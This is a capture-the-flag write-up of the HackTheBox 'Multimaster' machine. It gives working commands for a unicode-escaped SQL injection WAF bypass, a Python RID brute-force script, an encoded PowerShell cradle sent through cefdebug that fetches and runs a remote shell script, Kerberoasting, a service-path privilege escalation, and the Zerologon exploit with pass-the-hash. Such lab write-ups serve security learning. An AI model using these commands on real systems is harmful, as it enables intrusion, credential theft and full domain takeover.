Multimaster HackTheBox
Multimaster HackTheBox
Multimaster is an insane difficulty Windows machine featuring a web application that is vulnerable to SQL Injection. This vulnerability is leveraged to obtain the foothold on the server. Examination the file system reveals that a vulnerable version of VS Code is installed, and VS Code processes and found to be running on the server. By exploiting debug functionality, a shell as the user cyork can be gained. A password is found in a DLL, which due to password reuse, results in a shell as sbauer. This user is found to have GenericWrite permissions on the user jorden. Abusing this privilege allows us to gain access to the server as this user. jorden is be member of Server Operators group, whose privileges we exploit to get a SYSTEM shell.
Initial Foothold
Rustscan
We start off with rustscan to find open ports and services running on the box.
1
rustscan -a 10.129.95.200 -r 1-65535 -- -sC -sV -vv 10.129.95.200
We identified it is an active directory environment with the domain name registered as megacorp.local and the DC is multimaster, so the FQDN be MULTIMASTER.MEGACORP.LOCAL
There is also a webserver running on port 80.
Web Enumeration
Visiting the webpage on port 80 we have this page.
We have a login page also, but that feature doesn’t work!
So moving forward with the web enumeration.
The most important part in the whole website is the colleague finder one since it searches all the colleagues of the domain.
This page denies wild card characters.
So I captured the request in burp for manual enumeration.
Now I saved this request to a file and sent it to sqlmap to find any SQLI present in the page.
1
sqlmap -r name.req --tamper=space2comment --batch --level 3 --risk 3
I ran into WAF that protects the web app.
WFUZZ (Identify Bad Characters)
Lets use wfuzz to find the bad characters which are not allowed.
1
wfuzz -u http://10.129.95.200/api/getColleagues -w /usr/share/wordlists/SecLists/Fuzzing/special-chars.txt -d '{"name"="FUZZ"}' -c -s 3
As we can see in the above page that we got forbidden (code 403) after some of the code 415’s, this is because WAF is protecting the page.
Also # and ‘ are blocked rest else are allowed.
We need to figure out a way to bypass WAF.
One thing identified with burp is that it processes unicode characters.
But is not returning any colleagues in the output.
SQLMAP (tamper script charunicodeescape)
There is tamper script in the sqlmap suite known as charunicodeescape.py
Lets run sqlmap on our request with this script.
1
sqlmap -r name.req --tamper=charunicodeescape --batch --level 5 --risk 3 --delay 5
It identified the injection for us now lets try to retrieve the databases.
1
sqlmap -r name.req --tamper=charunicodeescape --batch --level 5 --risk 3 --delay 5 --dbs
Lets retrieve tables from Hub_DB database.
1
sqlmap -r name.req --tamper=charunicodeescape --batch --level 5 --risk 3 --delay 5 -D Hub_DB --tables
Dumping these both tables.
1
sqlmap -r name.req --tamper=charunicodeescape --batch --level 5 --risk 3 --delay 5 -D Hub_DB -T Colleagues --dump
Dumping the logins table
1
sqlmap -r name.req --tamper=charunicodeescape --batch --level 5 --risk 3 --delay 5 -D Hub_DB -T Logins --dump
Now we have all the hashes for the users.
Lets try to crack them using hashcat.
Hash Cracking
Using hashcat to crack these hashes.
None of the hashes cracked when used 10800 mode SHA2-384 for cracking.
So used Keccak-384 to crack them.
1
hashcat -m 17900 --user hashes.txt /usr/share/wordlists/rockyou.txt
It cracked 3 of them.
Kerbrute
Lets now validate the users across the domain.
1
kerbrute userenum -d megacorp.local --dc 10.129.95.200 users.txt
Password Spray
Lets test these users with the cracked hashes using Netexec.
1
nxc smb 10.129.95.200 -u users.txt -p creds.txt --continue-on-success
None of the passwords matched.
RID Bruteforcing SQLI (Manual Python Script)
Now we need to find a way to extract domain users, since MSSQL is running on the box but is not exposed to us.
We only have one option to get the domain users by RID Bruteforcing using SQLI which is nicely explained in this article.
Also lets first get our SQLI union injection to work successfully.
The above payload is working correctly.
Also we know that it accepts unicode characters and we have a successful SQLI.
This gets blocked, well obviously since its not encoded.
So lets encode these characters and then do our UNION injection.
Here what I did is used this payload
1
2
a' union select 1,2,3,4,5-- -
a\u0027 uni\u006fn se\u006cect 1,2,3,4,5\u002d\u002d \u002d
What it does is now we are in control of the fields.
Lets get the DEFAULT_DOMAIN()
So now lets try to get the SIDs for the objects in the Domain.
I am gonna be using this payload
1
a' union select 1,2,master.dbo.fn_varbintohexstr(SUSER_SID('MEGACORP\Administrator')),4,5-- -
Then UNICODE encode it fully using cyberchef.
We got the SUSER SID now need to convert it to RID, so wrote this simple python script.
1
2
3
4
5
6
7
8
9
10
11
sid_hex = '0x0105000000000005150000001c00d1bcd181f1492bdfc236f4010000'
hex_bytes = bytes.fromhex(sid_hex[2:])
import struct
rid = struct.unpack('<I', hex_bytes[-4:])[0]
print(f'RID: {rid}')
# Full SID reconstruction
sub_count = hex_bytes[1]
auth = int.from_bytes(hex_bytes[2:8], 'big')
subs = [struct.unpack('<I', hex_bytes[8+i*4:12+i*4])[0] for i in range(sub_count)]
print(f'Full SID: S-1-{auth}-{"-".join(map(str,subs))}')
This returns.
500 confirms that it is Administrator.
So in the SID part 0x0105000000000005150000001c00d1bcd181f1492bdfc236 is the domain and f4010000 represents the user Administrator.
So let me write a python script to find the rids of domain users.
This is a basic script to get the data using SQLI.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import json
import binascii
import sys
import struct
import time
endpoint = "http://10.129.95.200/api/getColleagues"
ct = {"Content-Type":"application/json;charset=UTF-8"}
payload_str = "a' union select 1,2,3,4,5-- -"
unicode_encoded = "".join([r"\u{:04x}".format(ord(c)) for c in payload_str])
payload = '{"name":"' + unicode_encoded + '"}'
req = requests.post(endpoint,data=payload,headers=ct)
print(req.text)
This returns
Lets get the SUSER_SID of Administrator using the script.
1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import json
import binascii
import sys
import struct
import time
endpoint = "http://10.129.95.200/api/getColleagues"
ct = {"Content-Type":"application/json;charset=UTF-8"}
payload_str = "a' union select 1,2,master.dbo.fn_varbintohexstr(SUSER_SID('MEGACORP\\guest')),4,5-- -"
unicode_encoded = "".join([r"\u{:04x}".format(ord(c)) for c in payload_str])
payload = '{"name":"' + unicode_encoded + '"}'
req = requests.post(endpoint,data=payload,headers=ct)
print(req.text)
The final script should look like this
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import json
import binascii
import sys
import struct
import time
import struct
domain_sid = bytes.fromhex('0105000000000005150000001c00d1bcd181f1492bdfc236')
endpoint = "http://10.129.95.200/api/getColleagues"
ct = {"Content-Type":"application/json;charset=UTF-8"}
for rid in range(500, 5000):
try:
rid_bytes = struct.pack('<I', rid)
full_sid = domain_sid + rid_bytes
hex_sid = '0x' + full_sid.hex()
payload_str = f"a' union select 1,2,SUSER_SNAME({hex_sid}),4,5-- -"
unicode_encoded = "".join([r"\u{:04x}".format(ord(c)) for c in payload_str])
payload = '{"name":"' + unicode_encoded + '"}'
req = requests.post(endpoint,data=payload,headers=ct)
data_parse = json.loads(req.text)
extract_pos = data_parse[0]['position']
if extract_pos:
print(f"[+] RID {rid}: {extract_pos}")
else:
print(f"[-] RID {rid}: empty", end='\r')
except:
time.sleep(10)
Basically what its doing is getting all the usernames from the megacorp domain based upon the SID is being passed to the SUSER_SNAME() function.
And the whole process is automated and if WAF triggers it sleeps for 10 seconds and then tries the next SID.
Since the script is taking much longer time I changed the RID parameters starting from 500 to 1000 and reran the script.
Found some more added them to users.txt
With that we now have some of the domain users, I will save them to a users.txt file and now we test those passwords across these domain users (letting the script run in the background)
1
nxc smb 10.129.95.200 -u users.txt -p creds.txt --continue-on-success | grep "[+]"
Authentication as Tushikikatomo
We have authentication as Tushikikatomo user lets enumerate shares with this user.
1
nxc smb 10.129.95.200 -u tushikikatomo -p finance1 --shares
We have a dfs share, lets see whats there using smbclient.
Unknown error occurred.
Lets check for winrm access.
1
nxc winrm 10.129.95.200 -u tushikikatomo -p finance1
Lets login as tushikikatomo
1
evil-winrm-py -i 10.129.95.200 -u tushikikatomo -p finance1
Claiming the user.txt and moving forward with the privilege escalation.
Privilege Escalation
Bloodhound
Lets gather bloodhound data using rusthound.
1
rusthound -d megacorp.local -u 'tushikikatomo' -p 'finance1' -i 10.129.95.200 -f 'multimaster.megacorp.local' -z
There were no outbounds present with our compromised user so looking in the box only for the clues.
MS VSCode and Studio Port Debugging
In the program data directory there were 2 folders that appear to be odd MS VS CODE and MS VISUAL STUDIO.
Listing all the processes we have this
Also the Visual Studio code is running and have some ports open.
To debug these ports whats running on them we have a tool called CEFDebugger.
https://github.com/taviso/cefdebug/releases/tag/v0.2
Authentication as Cyork
Running the CEF debugger.
1
.\cefdebug.exe
So I created a powershell cradle.
1
2
3
.\cefdebug --code "process.mainModule.require('child_process').exec('powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACA
ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADIANgA6ADkAMAA5ADAALwBzAGgAZQBsA
GwALgBwAHMAMQAnACkA')" --url ws://127.0.0.1:18116/cb0a076a-f9f0-4481-8822-966743629b5d
Send the full command using encrypted powershell and got the reverse shell connection back to me on port 9004.
Now we are cyork.
Now lets check that weather we have access to the webserver directory or not.
Trying to list files in the webserver root.
MultimasterAPI.dll caught my attention, since its a custom dll created by a user and generally is not present on the webserver directories.
Copied the .dll using the smbserver.
So lets run strings on the .dll
1
strings -e l MultimasterAPI.dll
Running the strings with 16 bits (-e l) option we get some creds.
Authentication as Sbauer
So lets run this password across the domain with all the users.
1
nxc smb 10.129.95.200 -u users.txt -p 'D3veL0pM3nT!'
We got a hit as sbauer. Marking them as owned in bloodhound.
Also checking the outbounds from the user sbauer.
Authentication as Jorden
We have genericWrite over Jorden as sbauer lets use targetedkerberoast.py to exploit this and get the crackable hash for jorden user.
1
faketime -f "+10m" python3 /opt/targetedKerberoast/targetedKerberoast.py -u 'sbauer' -p 'D3veL0pM3nT!' -d megacorp.local --dc-ip 10.129.95.200
Cracking this hash using hashcat.
1
hashcat -m 13100 jordenhash.txt /usr/share/wordlists/rockyou.txt
Lets validate this password.
1
nxc winrm megacorp.local -u jorden -p rainforest786 --shares
Also this user is a member of server operators.
We have SeBackupPrivilege.
So copying the sam and system to our local machine and trying to dump the hashes.
Running secretsdump.py reveals the hashes but was incorrect.
Since jorden is a member of server operators
Members of this group have the permissions to modify services , start and stop them.
Service Abuse as Jorden
Running Winpeas.exe on the box.
And we can see that we have a lot of services in which we have write access to.
Lets modify UsoSvc. Since this is the most common service and easily exploitable too.
Modifying the path of the service.
1
sc.exe config UsoSvc binpath="C:\Windows\System32\cmd.exe /c net localgroup administrators jorden /add"
Logging out and reconnecting with winrm to get a new token as an local administrator.
We are now the local administrator.
Lets now read the root.txt from the administrator desktop.
Rooted!
There is also another way of rooting this box using the Zerologon vulnerability which is a unintended path.
Please read below!
Unintended Way
Zerologon (Windows server 2016)
1
nxc smb 10.129.95.200 -u tushikikatomo -p finance1 -M zerologon
Cloning the repo and running the exploit.
https://github.com/dirkjanm/cve-2020-1472
1
python3 cve-2020-1472-exploit.py 'multimaster$' 10.129.95.200
Now lets run secretsdump and dump the full domain. This hash 31D6CFE0D16AE931B73C59D7E0C089C0 represents an empty password hash, and since we set the DC’s password to empty string it works with secretsdump.py to dump the full domain.
1
secretsdump.py megacorp.local/'multimaster$'@multimaster.megacorp.local -hashes ':31D6CFE0D16AE931B73C59D7E0C089C0'
Lets authenticate.
1
nxc smb megacorp.local -u Administrator -H 69cbf4a9b7415c9e1caf93d51d971be0
Using psexec.py to login.
1
psexec.py -hashes :69cbf4a9b7415c9e1caf93d51d971be0 megacorp.local/Administrator@10.129.95.200
Rooted!
Thanks for Reading 😄



































































